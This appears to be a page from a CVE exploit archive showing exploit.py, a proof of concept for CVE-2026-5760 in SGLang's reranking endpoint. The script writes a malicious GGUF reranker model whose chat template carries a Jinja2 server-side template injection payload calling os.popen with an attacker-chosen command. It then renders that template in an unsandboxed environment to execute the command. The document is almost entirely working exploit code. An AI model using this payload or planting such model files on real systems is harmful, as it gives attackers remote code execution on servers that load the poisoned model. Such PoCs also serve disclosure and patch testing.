5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""SGLang Reranking SSTI -> RCE — CVE-2026-5760 PoC. Discovered by @stuub""""

import sys
import os
import tempfile
import numpy as np
from gguf import GGUFWriter

PAYLOAD = 'The answer can only be "yes" or "no".\n{{ lipsum.__globals__["os"].popen(cmd).read() }}{% for message in messages %}{{ message["content"] }}{% endfor %}'

def create_malicious_gguf(path, cmd="id"):
    writer = GGUFWriter(path, arch="qwen3")
    writer.add_name("qwen3-reranker")
    writer.add_file_type(0)
    writer.add_context_length(2048)
    writer.add_embedding_length(128)
    writer.add_block_count(1)
    writer.add_head_count(1)
    writer.add_head_count_kv(1)
    writer.add_chat_template(PAYLOAD)
    writer.add_tensor("token_embd.weight", np.zeros((128, 128), dtype=np.float32))
    writer.write_header_to_file()
    writer.write_kv_data_to_file()
    writer.write_tensors_to_file()
    writer.close()

def exploit(cmd="id"):
    """
    Reproduces SGLang serving_rerank.py's unsandboxed Jinja2 rendering.
    In production, this executes when /v1/rerank is called with a loaded
    malicious model. Here we call the vulnerable function directly.
    """
    import jinja2

    # SGLang's _get_jinja_env() — serving_rerank.py:128-132
    env = jinja2.Environment(
        loader=jinja2.BaseLoader(),
        autoescape=False,
        undefined=jinja2.Undefined,
    )

    template = env.from_string(PAYLOAD)
    return template.render(
        cmd=cmd,
        messages=[{"role": "user", "content": ""}],
    ).strip()

if __name__ == "__main__":
    cmd = sys.argv[1] if len(sys.argv) > 1 else "id"

    gguf_path = os.path.join(os.path.dirname(__file__), "malicious_reranker.gguf")
    create_malicious_gguf(gguf_path, cmd)
    print(f"[+] {gguf_path}", file=sys.stderr)

    output = exploit(cmd)
    print(output)